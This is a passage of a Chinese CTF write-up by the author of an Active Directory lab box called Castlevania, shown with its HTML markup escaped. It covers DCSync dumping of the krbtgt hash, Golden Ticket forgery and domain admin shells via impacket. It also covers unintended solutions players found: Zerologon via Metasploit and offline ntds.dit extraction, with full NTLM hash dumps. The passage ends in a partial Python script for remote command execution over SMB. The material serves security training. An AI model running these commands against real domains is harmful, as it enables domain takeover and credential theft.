    &amp;#39;XMCVE.local/CASTLEVANIA$@CASTLEVANIA.XMCVE.local&amp;#39; \
    -just-dc-user krbtgt -target-ip 192.168.0.222
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;strong&gt;输出：&lt;/strong&gt;&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-plain&quot;&gt;[*] Dumping Domain Credentials (domain\uid:rid:lmhash:nthash)
[*] Using the DRSUAPI method to get NTDS.DIT secrets
krbtgt:502:aad3b435b51404eeaad3b435b51404ee:1e3c4fe72e1383c576b4b3aeef4730a8:::
[*] Kerberos keys grabbed
krbtgt:aes256-cts-hmac-sha1-96:2392ad160e585e1448c5ca4623b9ad48789c267c6488a0074dd86e98457fb5fc
krbtgt:aes128-cts-hmac-sha1-96:7d55d129c8fe6c50aa87cb542775f0a0
krbtgt:des-cbc-md5:e570376eb538c132
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;strong&gt;收获：&lt;/strong&gt; 成功提取 &lt;code&gt;krbtgt&lt;/code&gt; 账户的 NTLM hash &lt;code&gt;1e3c4fe72e1383c576b4b3aeef4730a8&lt;/code&gt;。这是域中最关键的密钥，拥有它就可以伪造任意 Kerberos 票据。&lt;/p&gt;
&lt;hr&gt;
&lt;h3&gt;获取域 SID&lt;/h3&gt;
&lt;pre&gt;&lt;code class=&quot;language-bash&quot;&gt;impacket-lookupsid XMCVE.local/mowen:1maxwell@192.168.0.222
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;strong&gt;输出：&lt;/strong&gt;&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-plain&quot;&gt;[*] Domain SID is: S-1-5-21-805392858-1149987238-1076533053
&lt;/code&gt;&lt;/pre&gt;
&lt;h3&gt;伪造 Golden Ticket&lt;/h3&gt;
&lt;pre&gt;&lt;code class=&quot;language-bash&quot;&gt;impacket-ticketer \
    -nthash 1e3c4fe72e1383c576b4b3aeef4730a8 \
    -domain-sid S-1-5-21-805392858-1149987238-1076533053 \
    -domain XMCVE.local \
    Administrator
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;strong&gt;输出：&lt;/strong&gt;&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-plain&quot;&gt;[*] Creating basic skeleton ticket and target PAC
[*] Customizing ticket for XMCVE.local/Administrator
[*] PAC_LOGON_INFO
[*] EncTicketPart
[*] EncTGSRepPart
[*] Saving ticket in Administrator.ccache
&lt;/code&gt;&lt;/pre&gt;
&lt;h3&gt;注入票据&lt;/h3&gt;
&lt;pre&gt;&lt;code class=&quot;language-bash&quot;&gt;export KRB5CCNAME=Administrator.ccache
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;确认票据已加载：&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-bash&quot;&gt;klist
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;strong&gt;输出：&lt;/strong&gt;&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-plain&quot;&gt;Ticket cache: FILE:Administrator.ccache
Default principal: Administrator@XMCVE.LOCAL

Valid starting       Expires              Service principal
XX/XX/XXXX XX:XX:XX  XX/XX/XXXX XX:XX:XX  krbtgt/XMCVE.LOCAL@XMCVE.LOCAL
&lt;/code&gt;&lt;/pre&gt;
&lt;h3&gt;配置 Kerberos 认证&lt;/h3&gt;
&lt;p&gt;确保 &lt;code&gt;/etc/krb5.conf&lt;/code&gt; 包含正确的域配置：&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-properties&quot;&gt;[libdefaults]
    default_realm = XMCVE.LOCAL
    dns_lookup_realm = false
    dns_lookup_kdc = false

[realms]
    XMCVE.LOCAL = {
        kdc = 192.168.0.222
        admin_server = 192.168.0.222
    }

[domain_realm]
    .xmcve.local = XMCVE.LOCAL
    xmcve.local = XMCVE.LOCAL
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;同时确保 &lt;code&gt;/etc/hosts&lt;/code&gt; 中有正确的解析：&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-plain&quot;&gt;192.168.0.222    CASTLEVANIA.XMCVE.local CASTLEVANIA
&lt;/code&gt;&lt;/pre&gt;
&lt;h3&gt;使用 Golden Ticket 获取域管 Shell&lt;/h3&gt;
&lt;pre&gt;&lt;code class=&quot;language-bash&quot;&gt;# 方法一：psexec（获取交互式 SYSTEM shell）
impacket-psexec XMCVE.local/Administrator@CASTLEVANIA.XMCVE.local -k -no-pass -target-ip 192.168.0.222

# 方法二：wmiexec（直接执行命令，更隐蔽）
impacket-wmiexec XMCVE.local/Administrator@CASTLEVANIA.XMCVE.local -k -no-pass -target-ip 192.168.0.222 -codec gbk &amp;quot;type C:\Users\Administrator\Desktop\flag.txt&amp;quot;
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;strong&gt;wmiexec 输出：&lt;/strong&gt;&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-plain&quot;&gt;Impacket v0.13.0.dev0 - Copyright Fortra, LLC and its affiliated companies

[*] SMBv3.0 dialect used
FLAG{XMCVE_Castlevania_Bloodlines_DA_Pwned}
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;成功以域管理员身份执行命令。&lt;/p&gt;
&lt;hr&gt;
&lt;h3&gt;获取 Flag（已删除）&lt;/h3&gt;
&lt;pre&gt;&lt;code class=&quot;language-plain&quot;&gt;type C:\Users\Administrator\Desktop\flag.txt
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;strong&gt;输出：&lt;/strong&gt;&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-plain&quot;&gt;FLAG{XMCVE_Castlevania_Bloodlines_DA_Pwned}
&lt;/code&gt;&lt;/pre&gt;
&lt;hr&gt;
&lt;h1&gt;Castlevania - Unexpected&lt;/h1&gt;
&lt;blockquote&gt;
&lt;p&gt;第一次出靶机题，经验有限不尽人意之处请多海涵，观看选手wp也学到了很多&lt;/p&gt;
&lt;p&gt;下列四种非预期解法均取自本次比赛选手的wp中&lt;/p&gt;
&lt;/blockquote&gt;
&lt;h2&gt;Zerologon&lt;/h2&gt;
&lt;blockquote&gt;
&lt;p&gt;CVSS满分漏洞，被称为域内永恒之蓝&lt;/p&gt;
&lt;p&gt;靶机搭建环境选自互联网中windows server2019镜像.....出题的时候没往这块想&lt;/p&gt;
&lt;p&gt;出乎我的意料了......当看到选手的wp令我很惊讶&lt;/p&gt;
&lt;p&gt;八名选手采用该方法解出题目&lt;/p&gt;
&lt;/blockquote&gt;
&lt;h3&gt;影响系统版本&lt;/h3&gt;
&lt;p&gt;Windows Server 2008 R2 for x64-based Systems Service Pack 1&lt;br&gt;Windows Server 2008 R2 for x64-based Systems Service Pack 1 (Server Core installation)&lt;br&gt;Windows Server 2012&lt;br&gt;Windows Server 2012 (Server Core installation)&lt;br&gt;Windows Server 2012 R2&lt;br&gt;Windows Server 2012 R2 (Server Core installation)&lt;br&gt;Windows Server 2016&lt;br&gt;Windows Server 2016 (Server Core installation)&lt;br&gt;Windows Server 2019&lt;br&gt;Windows Server 2019 (Server Core installation)&lt;br&gt;Windows Server, version 1903 (Server Core installation)&lt;br&gt;Windows Server, version 1909 (Server Core installation)&lt;br&gt;Windows Server, version 2004 (Server Core installation)&lt;/p&gt;
&lt;h3&gt;利用方法&lt;/h3&gt;
&lt;h4&gt;手法一：msfconsole&lt;/h4&gt;
&lt;h5&gt;1. ZeroLogon&lt;/h5&gt;
&lt;pre&gt;&lt;code class=&quot;language-plain&quot;&gt;$ crackmapexec smb 192.168.40.132 -u &amp;#39;&amp;#39; -p &amp;#39;&amp;#39; -M zerologon

ZEROLOGO...  192.168.40.132  445  CASTLEVANIA  VULNERABLE

msf6&amp;gt; use auxiliary/admin/dcerpc/cve_2020_1472_zerologon
msf6&amp;gt; set RHOSTS 192.168.40.132
msf6&amp;gt; set NBNAME CASTLEVANIA
msf6&amp;gt; run

[+] 192.168.40.132:49668 - Successfully authenticated
[+] 192.168.40.132:49668 - Successfully set the machine account (CASTLEVANIA$) password to:
    aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0 (empty)
&lt;/code&gt;&lt;/pre&gt;
&lt;hr&gt;
&lt;h5&gt;2. DCSync&lt;/h5&gt;
&lt;pre&gt;&lt;code class=&quot;language-plain&quot;&gt;$ impacket-secretsdump -hashes &amp;#39;:31d6cfe0d16ae931b73c59d7e0c089c0&amp;#39; \
   -just-dc &amp;#39;XMCVE.local/CASTLEVANIA$&amp;#39;@192.168.40.132

[*] Dumping Domain Credentials (domain\uid:rid:lmhash:nthash)

Administrator:500:aad3b435b51404eeaad3b435b51404ee:d94f9831271e229dbc6e712097b63168:::
Guest:501:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::
krbtgt:502:aad3b435b51404eeaad3b435b51404ee:1e3c4fe72e1383c576b4b3aeef4730a8:::
Alucard:1000:aad3b435b51404eeaad3b435b51404ee:d94f9831271e229dbc6e712097b63168:::
XMCVE.local\p2zhh:1104:aad3b435b51404eeaad3b435b51404ee:bc2bf43119e258bcecf71d44abc29db7:::
XMCVE.local\mowen:1105:aad3b435b51404eeaad3b435b51404ee:efb5fa49a38497a71e144f690860688e:::
&lt;/code&gt;&lt;/pre&gt;
&lt;h4&gt;手法二：python脚本&lt;/h4&gt;
&lt;h5&gt;1. Zerologon&lt;/h5&gt;
&lt;p&gt;&lt;img src=&quot;https://heathc1iff-sec.github.io/image/myself%20machine/Castlevania-Documents-2.jpeg&quot; alt=&quot;&quot;&gt;&lt;/p&gt;
&lt;h5&gt;2. hash dump&lt;/h5&gt;
&lt;p&gt;利用成功，接下来dump域内所有用户的哈希&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://heathc1iff-sec.github.io/image/myself%20machine/Castlevania-Documents-3.jpeg&quot; alt=&quot;&quot;&gt;&lt;/p&gt;
&lt;h2&gt;本地挂载&lt;/h2&gt;
&lt;blockquote&gt;
&lt;p&gt;当初为了预防选手将靶机当取证来做故将flag抹去，当看到wp令我意外.....&lt;/p&gt;
&lt;p&gt;并且还没办法修，无论是ntds.dit还是Hive删掉都会直接影响系统运行&lt;/p&gt;
&lt;p&gt;俩名选手采用该方法解出题目&lt;/p&gt;
&lt;/blockquote&gt;
&lt;h3&gt;方法一：挂载kali&lt;/h3&gt;
&lt;h4&gt;1. 挂载硬盘并提取 NTDS 数据库&lt;/h4&gt;
&lt;p&gt;将 Windows 域控的虚拟硬盘挂载到 Kali Linux，复制 AD 数据库文件：&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt; &lt;code&gt;ntds.dit&lt;/code&gt;：Active Directory 数据库，存储所有域用户的凭据 Hash  &lt;/p&gt;
&lt;/blockquote&gt;
&lt;ul&gt;
&lt;li&gt;&lt;code&gt;SYSTEM&lt;/code&gt;：注册表 Hive，包含解密 ntds.dit 所需的 BootKey&lt;blockquote&gt;
&lt;/blockquote&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;pre&gt;&lt;code class=&quot;language-plain&quot;&gt;sudo cp /mnt/win/Windows/NTDS/ntds.dit ~/Desktop/
sudo cp /mnt/win/Windows/System32/config/SYSTEM ~/Desktop/
&lt;/code&gt;&lt;/pre&gt;
&lt;h4&gt;2. 离线提取域用户 Hash&lt;/h4&gt;
&lt;p&gt;使用 &lt;code&gt;impacket-secretsdump&lt;/code&gt; 离线解密 ntds.dit：&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;关键发现：Administrator 与 Alucard 共享同一个 NT Hash，多个普通用户也共享同一个 Hash，说明存在弱密码策略。&lt;/p&gt;
&lt;/blockquote&gt;
&lt;pre&gt;&lt;code class=&quot;language-plain&quot;&gt;sudo impacket-secretsdump -ntds ~/Desktop/ntds.dit -system ~/Desktop/SYSTEM LOCAL
&lt;/code&gt;&lt;/pre&gt;
&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th align=&quot;left&quot;&gt;成功提取所有域用户的 NT Hash：   Administrator:500:aad3b435b51404eeaad3b435b51404ee:d94f9831271e229dbc6e712097b63168:::   Alucard:1000:aad3b435b51404eeaad3b435b51404ee:d94f9831271e229dbc6e712097b63168:::   XMCVE.local\p2zhh:1104:::bc2bf43119e258bcecf71d44abc29db7:::   XMCVE.local\mowen:1105:::efb5fa49a38497a71e144f690860688e:::   XMCVE.local\sales/support/it/hr/admin:共享 hash 2b576acbe6bcfda7294d6bd18041b8fe   XMCVE.local\sqlsvc:1112:::d93ef04edb808c5bce3a5bd67b936ca9:::&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;/table&gt;
&lt;h3&gt;方法二：OVA分解挂盘&lt;/h3&gt;
&lt;h4&gt;1. VBoxManage&lt;/h4&gt;
&lt;p&gt;本地没有直接可用的官方 VirtualBox 7.2.0 图形界面环境，所以我直接用 &lt;code&gt;VBoxManage.exe&lt;/code&gt; 做手工导入和挂盘。&lt;/p&gt;
&lt;p&gt;处理方式不是直接 &lt;code&gt;VBoxManage import&lt;/code&gt;，而是：&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;从 &lt;code&gt;Bloodstained.ova&lt;/code&gt; 解出 &lt;code&gt;Bloodstained.ovf&lt;/code&gt; 和 &lt;code&gt;Bloodstained 1-disk001.vmdk&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;把 &lt;code&gt;streamOptimized&lt;/code&gt; 的 VMDK 转成可直接挂载的 VDI&lt;/li&gt;
&lt;li&gt;手工创建 &lt;code&gt;Windows2019_64&lt;/code&gt; 虚拟机并挂盘&lt;/li&gt;
&lt;li&gt;配置 NAT 端口转发&lt;/li&gt;
&lt;/ol&gt;
&lt;h4&gt;2. 离线导出&lt;/h4&gt;
&lt;p&gt;离线链路，从 VMDK 里直接导出关键文件：&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;code&gt;/Windows/NTDS/ntds.dit&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;&lt;code&gt;/Windows/System32/config/SYSTEM&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;&lt;code&gt;/Windows/System32/config/SECURITY&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;&lt;code&gt;/inetpub/wwwroot&lt;/code&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;h4&gt;3. 域控凭据&lt;/h4&gt;
&lt;p&gt;对离线导出的三件套执行：&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-plain&quot;&gt;python secretsdump.py -system offline/hives/SYSTEM \
  -security offline/hives/SECURITY \
  -ntds offline/hives/ntds.dit LOCAL
&lt;/code&gt;&lt;/pre&gt;
&lt;h4&gt;利用脚本&lt;/h4&gt;
&lt;pre&gt;&lt;code class=&quot;language-plain&quot;&gt;import argparse
import os
import random
import re
import shutil
import string
import subprocess
import sys
import time
from pathlib import Path

from impacket.dcerpc.v5 import scmr, transport


ROOT = Path(__file__).resolve().parent
VM_NAME = &amp;quot;Bloodstained&amp;quot;
DEFAULT_OVA = ROOT / &amp;quot;Bloodstained.ova&amp;quot;
DEFAULT_OVF = ROOT / &amp;quot;Bloodstained.ovf&amp;quot;
DEFAULT_VMDK = ROOT / &amp;quot;Bloodstained 1-disk001.vmdk&amp;quot;
DEFAULT_VM_DIR = ROOT / &amp;quot;vm&amp;quot; / VM_NAME
DEFAULT_VDI = DEFAULT_VM_DIR / f&amp;quot;{VM_NAME}.vdi&amp;quot;
DEFAULT_VBOX_HOME = ROOT / &amp;quot;.vboxhome&amp;quot;
DEFAULT_OFFLINE_DIR = ROOT / &amp;quot;offline&amp;quot; / &amp;quot;hives&amp;quot;
DEFAULT_DUMP = ROOT / &amp;quot;artifacts_secretsdump.txt&amp;quot;
DEFAULT_WHOAMI = ROOT / &amp;quot;artifacts_system_whoami.txt&amp;quot;
DEFAULT_HOSTNAME = ROOT / &amp;quot;artifacts_system_hostname.txt&amp;quot;


def run_command(args, *, cwd=None, env=None, check=True, capture=True):
    proc = subprocess.run(
        args,
        cwd=cwd,
        env=env,
        check=False,
        capture_output=capture,
        text=True,
        encoding=&amp;quot;utf-8&amp;quot;,
        errors=&amp;quot;backslashreplace&amp;quot;,
    )
    if check and proc.returncode != 0:
        details = proc.stdout
        if proc.stderr:
            details = f&amp;quot;{details}\n{proc.stderr}&amp;quot; if details else proc.stderr
        raise RuntimeError(f&amp;quot;command failed ({proc.returncode}): {&amp;#39; &amp;#39;.join(map(str, args))}\n{details}&amp;quot;.rstrip())
    return proc


def ensure_exists(path: Path, hint: str) -&amp;gt; None:
    if not path.exists():
        raise RuntimeError(f&amp;quot;missing required file: {path}\n{hint}&amp;quot;)


def find_vboxmanage() -&amp;gt; Path:
    candidates = [
        Path(r&amp;quot;C:\Program Files\Oracle\VirtualBox\VBoxManage.exe&amp;quot;),
        Path(r&amp;quot;C:\Program Files\ldplayer9box\VBoxManage.exe&amp;quot;),
    ]
    for candidate in candidates:
        if candidate.exists():
            return candidate
    found = shutil.which(&amp;quot;VBoxManage.exe&amp;quot;) or shutil.which(&amp;quot;VBoxManage&amp;quot;)
    if found:
        return Path(found)
    raise RuntimeError(&amp;quot;VBoxManage.exe not found. Install VirtualBox 7.2.0 or adjust PATH.&amp;quot;)


def find_wsl() -&amp;gt; Path:
    found = shutil.which(&amp;quot;wsl.exe&amp;quot;)
    if not found:
        raise RuntimeError(&amp;quot;wsl.exe not found. WSL with kali-linux is required for virt-copy-out.&amp;quot;)
    return Path(found)


def find_secretsdump(default_python: Path) -&amp;gt; Path:
    candidates = [
        default_python.parent / &amp;quot;Scripts&amp;quot; / &amp;quot;secretsdump.py&amp;quot;,
        Path(r&amp;quot;D:\Python\Python311\Scripts\secretsdump.py&amp;quot;),
    ]
    for candidate in candidates:
        if candidate.exists():
            return candidate
    raise RuntimeError(&amp;quot;secretsdump.py not found. Install impacket for the Python interpreter you will use.&amp;quot;)


def vbox(vboxmanage: Path, vbox_home: Path, *args: str) -&amp;gt; subprocess.CompletedProcess:
    env = os.environ.copy()
    env[&amp;quot;VBOX_USER_HOME&amp;quot;] = str(vbox_home)
    return run_command([str(vboxmanage), *args], env=env)


def convert_to_wsl_path(path: Path) -&amp;gt; str:
    full = path.resolve()
    drive = full.drive[:1].lower()
    rest = full.as_posix()[2:]
    return f&amp;quot;/mnt/{drive}{rest}&amp;quot;


def ensure_ova_extracted(ova: Path, ovf: Path, vmdk: Path) -&amp;gt; None:
    ensure_exists(ova, &amp;quot;Place the challenge OVA in the current directory.&amp;quot;)
    if ovf.exists() and vmdk.exists():
        return
    run_command([&amp;quot;tar&amp;quot;, &amp;quot;-xf&amp;quot;, str(ova), ovf.name, vmdk.name], cwd=ova.parent)


def ensure_vdi(vboxmanage: Path, vmdk: Path, vdi: Path) -&amp;gt; None:
    if vdi.exists():
        return
    vdi.parent.mkdir(parents=True, exist_ok=True)
    run_command([str(vboxmanage), &amp;quot;clonemedium&amp;quot;, &amp;quot;disk&amp;quot;, str(vmdk), str(vdi), &amp;quot;--format&amp;quot;, &amp;quot;VDI&amp;quot;])


def ensure_vm_registered(vboxmanage: Path, vbox_home: Path, vm_dir: Path, vdi: Path) -&amp;gt; None:
    vm_dir.mkdir(parents=True, exist_ok=True)
    vbox_home.mkdir(parents=True, exist_ok=True)
    vbox(vboxmanage, vbox_home, &amp;quot;list&amp;quot;, &amp;quot;systemproperties&amp;quot;)
    vm_list = vbox(vboxmanage, vbox_home, &amp;quot;list&amp;quot;, &amp;quot;vms&amp;quot;).stdout
    vmx = vm_dir / f&amp;quot;{VM_NAME}.vbox&amp;quot;
    if f&amp;#39;&amp;quot;{VM_NAME}&amp;quot;&amp;#39; not in vm_list:
        if vmx.exists():
            vbox(vboxmanage, vbox_home, &amp;quot;registervm&amp;quot;, str(vmx))
        else:
            vbox(vboxmanage, vbox_home, &amp;quot;createvm&amp;quot;, &amp;quot;--name&amp;quot;, VM_NAME, &amp;quot;--basefolder&amp;quot;, str(ROOT / &amp;quot;vm&amp;quot;), &amp;quot;--ostype&amp;quot;, &amp;quot;Windows2019_64&amp;quot;, &amp;quot;--register&amp;quot;)
            vbox(
                vboxmanage,
                vbox_home,
                &amp;quot;modifyvm&amp;quot;,
                VM_NAME,
                &amp;quot;--memory&amp;quot;,
                &amp;quot;2048&amp;quot;,
                &amp;quot;--cpus&amp;quot;,
                &amp;quot;1&amp;quot;,
                &amp;quot;--firmware&amp;quot;,
                &amp;quot;bios&amp;quot;,
                &amp;quot;--ioapic&amp;quot;,
                &amp;quot;on&amp;quot;,
                &amp;quot;--pae&amp;quot;,
                &amp;quot;off&amp;quot;,
                &amp;quot;--vram&amp;quot;,
                &amp;quot;128&amp;quot;,
                &amp;quot;--graphicscontroller&amp;quot;,
                &amp;quot;vboxsvga&amp;quot;,
                &amp;quot;--boot1&amp;quot;,
                &amp;quot;disk&amp;quot;,
                &amp;quot;--boot2&amp;quot;,
                &amp;quot;dvd&amp;quot;,
                &amp;quot;--boot3&amp;quot;,
                &amp;quot;none&amp;quot;,
                &amp;quot;--boot4&amp;quot;,
                &amp;quot;none&amp;quot;,
                &amp;quot;--audio&amp;quot;,
                &amp;quot;none&amp;quot;,
            )
            vbox(vboxmanage, vbox_home, &amp;quot;storagectl&amp;quot;, VM_NAME, &amp;quot;--name&amp;quot;, &amp;quot;SATA&amp;quot;, &amp;quot;--add&amp;quot;, &amp;quot;sata&amp;quot;, &amp;quot;--controller&amp;quot;, &amp;quot;IntelAhci&amp;quot;)

    info = vbox(vboxmanage, vbox_home, &amp;quot;showvminfo&amp;quot;, VM_NAME, &amp;quot;--machinereadable&amp;quot;).stdout
    if &amp;#39;&amp;quot;SATA-0-0&amp;quot;=&amp;quot;none&amp;quot;&amp;#39; in info:
        vbox(
            vboxmanage,
            vbox_home,
            &amp;quot;storageattach&amp;quot;,
            VM_NAME,
            &amp;quot;--storagectl&amp;quot;,
            &amp;quot;SATA&amp;quot;,
            &amp;quot;--port&amp;quot;,
            &amp;quot;0&amp;quot;,
            &amp;quot;--device&amp;quot;,
            &amp;quot;0&amp;quot;,
            &amp;quot;--type&amp;quot;,
            &amp;quot;hdd&amp;quot;,
            &amp;quot;--medium&amp;quot;,
            str(vdi),
        )


def ensure_nat_rules(vboxmanage: Path, vbox_home: Path) -&amp;gt; None:
    forwards = [
        &amp;quot;http,tcp,127.0.0.1,18080,,80&amp;quot;,
        &amp;quot;ldap,tcp,127.0.0.1,10389,,389&amp;quot;,
        &amp;quot;mssql,tcp,127.0.0.1,11433,,1433&amp;quot;,
        &amp;quot;smb,tcp,127.0.0.1,10445,,445&amp;quot;,
    ]
    info = vbox(vboxmanage, vbox_home, &amp;quot;showvminfo&amp;quot;, VM_NAME, &amp;quot;--machinereadable&amp;quot;).stdout
    for rule in forwards:
        name = rule.split(&amp;quot;,&amp;quot;, 1)[0]
        pattern = re.compile(rf&amp;#39;^Forwarding\(\d+\)=&amp;quot;{re.escape(name)},&amp;#39;, re.MULTILINE)
        if not pattern.search(info):
            vbox(vboxmanage, vbox_home, &amp;quot;modifyvm&amp;quot;, VM_NAME, &amp;quot;--natpf1&amp;quot;, rule)


def get_vm_state(vboxmanage: Path, vbox_home: Path) -&amp;gt; str:
    info = vbox(vboxmanage, vbox_home, &amp;quot;showvminfo&amp;quot;, VM_NAME, &amp;quot;--machinereadable&amp;quot;).stdout
    match = re.search(r&amp;#39;^VMState=&amp;quot;([^&amp;quot;]+)&amp;quot;$&amp;#39;, info, re.MULTILINE)
    return match.group(1) if match else &amp;quot;unknown&amp;quot;


def restart_vm(vboxmanage: Path, vbox_home: Path, boot_wait: int) -&amp;gt; None:
    state = get_vm_state(vboxmanage, vbox_home)
    if state == &amp;quot;running&amp;quot;:
        vbox(vboxmanage, vbox_home, &amp;quot;controlvm&amp;quot;, VM_NAME, &amp;quot;poweroff&amp;quot;)
        time.sleep(3)
    vbox(vboxmanage, vbox_home, &amp;quot;startvm&amp;quot;, VM_NAME, &amp;quot;--type&amp;quot;, &amp;quot;headless&amp;quot;)
    time.sleep(boot_wait)


def copy_offline_hives(wsl_exe: Path, work_root: Path, offline_dir: Path, distro: str, vmdk: Path) -&amp;gt; None:
    offline_dir.mkdir(parents=True, exist_ok=True)
    wsl_root = convert_to_wsl_path(work_root)
    wsl_vmdk = convert_to_wsl_path(vmdk)
    script = &amp;quot;\n&amp;quot;.join(
        [
            &amp;quot;set -e&amp;quot;,
            f&amp;quot;cd &amp;#39;{wsl_root}&amp;#39;&amp;quot;,
            &amp;quot;mkdir -p offline/hives&amp;quot;,
            f&amp;quot;virt-copy-out -a &amp;#39;{wsl_vmdk}&amp;#39; /Windows/NTDS/ntds.dit offline/hives/&amp;quot;,
            f&amp;quot;virt-copy-out -a &amp;#39;{wsl_vmdk}&amp;#39; /Windows/System32/config/SYSTEM offline/hives/&amp;quot;,
            f&amp;quot;virt-copy-out -a &amp;#39;{wsl_vmdk}&amp;#39; /Windows/System32/config/SECURITY offline/hives/&amp;quot;,
        ]
    )
    run_command([str(wsl_exe), &amp;quot;-u&amp;quot;, &amp;quot;root&amp;quot;, &amp;quot;-d&amp;quot;, distro, &amp;quot;--&amp;quot;, &amp;quot;bash&amp;quot;, &amp;quot;-lc&amp;quot;, script])


def run_secretsdump(python_exe: Path, secretsdump: Path, offline_dir: Path, dump_path: Path) -&amp;gt; None:
    system_hive = offline_dir / &amp;quot;SYSTEM&amp;quot;
    security_hive = offline_dir / &amp;quot;SECURITY&amp;quot;
    ntds = offline_dir / &amp;quot;ntds.dit&amp;quot;
    ensure_exists(system_hive, &amp;quot;Offline SYSTEM hive is required.&amp;quot;)
    ensure_exists(security_hive, &amp;quot;Offline SECURITY hive is required.&amp;quot;)
    ensure_exists(ntds, &amp;quot;Offline NTDS.dit is required.&amp;quot;)
    proc = run_command(
        [
            str(python_exe),
            str(secretsdump),
            &amp;quot;-system&amp;quot;,
            str(system_hive),
            &amp;quot;-security&amp;quot;,
            str(security_hive),
            &amp;quot;-ntds&amp;quot;,
            str(ntds),
            &amp;quot;LOCAL&amp;quot;,
        ]
    )
    dump_path.write_text(proc.stdout, encoding=&amp;quot;utf-8&amp;quot;)


def read_text_auto(path: Path) -&amp;gt; str:
    raw = path.read_bytes()
    for encoding in (&amp;quot;utf-8&amp;quot;, &amp;quot;utf-16&amp;quot;, &amp;quot;utf-16-le&amp;quot;, &amp;quot;utf-16-be&amp;quot;, &amp;quot;gbk&amp;quot;):
        try:
            return raw.decode(encoding)
        except UnicodeDecodeError:
            continue
    return raw.decode(&amp;quot;utf-8&amp;quot;, errors=&amp;quot;ignore&amp;quot;)


def extract_hash_line(dump_path: Path, account: str) -&amp;gt; str:
    pattern = re.compile(rf&amp;quot;{re.escape(account)}:\d+:[0-9a-fA-F]{{32}}:[0-9a-fA-F]{{32}}:::&amp;quot;)
    for line in read_text_auto(dump_path).splitlines():
        match = pattern.search(line)
        if match:
            return match.group(0)
    raise RuntimeError(f&amp;quot;could not find hash line for {account} in {dump_path}&amp;quot;)


def parse_hash_line(hash_line: str) -&amp;gt; tuple[str, str]:
    parts = hash_line.strip().split(&amp;quot;:&amp;quot;)
    if len(parts) &amp;lt; 4:
        raise RuntimeError(f&amp;quot;invalid hash line: {hash_line}&amp;quot;)
    return parts[2], parts[3]


def random_tag(prefix: str, length: int = 8) -&amp;gt; str:
    return prefix + &amp;quot;&amp;quot;.join(random.choice(string.ascii_letters) for _ in range(length))


def escape_for_cmd_echo(command: str) -&amp;gt; str:
    replacements = {
        &amp;quot;^&amp;quot;: &amp;quot;^^&amp;quot;,
        &amp;quot;&amp;amp;&amp;quot;: &amp;quot;^&amp;amp;&amp;quot;,
        &amp;quot;&amp;lt;&amp;quot;: &amp;quot;^&amp;lt;&amp;quot;,
        &amp;quot;&amp;gt;&amp;quot;: &amp;quot;^&amp;gt;&amp;quot;,
        &amp;quot;|&amp;quot;: &amp;quot;^|&amp;quot;,
    }
    escaped = []
    for char in command:
        escaped.append(replacements.get(char, char))
    return &amp;quot;&amp;quot;.join(escaped)


def smbexec_one_shot(
    *,
    target_name: str,
    target_ip: str,
    smb_port: int,
    domain: str,
    username: str,
    password: str,
    lmhash: str,
    nthash: str,
    command: str,
) -&amp;gt; str:
    stringbinding = rf&amp;quot;ncacn_np:{target_name}[\pipe\svcctl]&amp;quot;
    rpc_transport = transport.DCERPCTransportFactory(stringbinding)
    rpc_transport.setRemoteHost(target_ip)
    rpc_transport.set_dport(smb_port)
    rpc_transport.set_credentials(username, password, domain, lmhash, nthash, None)

    dce = rpc_transport.get_dce_rpc()
    dce.connect()
    dce.bind(scmr.MSRPC_UUID_SCMR)

    smb_conn = rpc_transport.get_smb_connection()
    smb_conn.setTimeout(100000)

    scm_handle = scmr.hROpenSCManagerW(dce)[&amp;quot;lpScHandle&amp;quot;]
    service_name = random_tag(&amp;quot;svc&amp;quot;)
    output_name = random_tag(&amp;quot;out&amp;quot;) + &amp;quot;.txt&amp;quot;
    batch_name = random_tag(&amp;quot;job&amp;quot;) + &amp;quot;.bat&amp;quot;
    output_path = rf&amp;quot;C:\Windows\Temp\{output_name}&amp;quot;
    batch_path = rf&amp;quot;C:\Windows\Temp\{batch_name}&amp;quot;
    batch_body = f&amp;quot;{escape_for_cmd_echo(command)} ^&amp;gt; {output_path} 2^&amp;gt;^&amp;amp;1&amp;quot;
    binary_path = (
        rf&amp;quot;C:\Windows\System32\cmd.exe /Q /c &amp;quot;
        rf&amp;quot;echo {batch_body} &amp;gt; {batch_path} &amp;amp; &amp;quot;
        rf&amp;quot;C:\Windows\System32\cmd.exe /Q /c {batch_path} &amp;amp; &amp;quot;
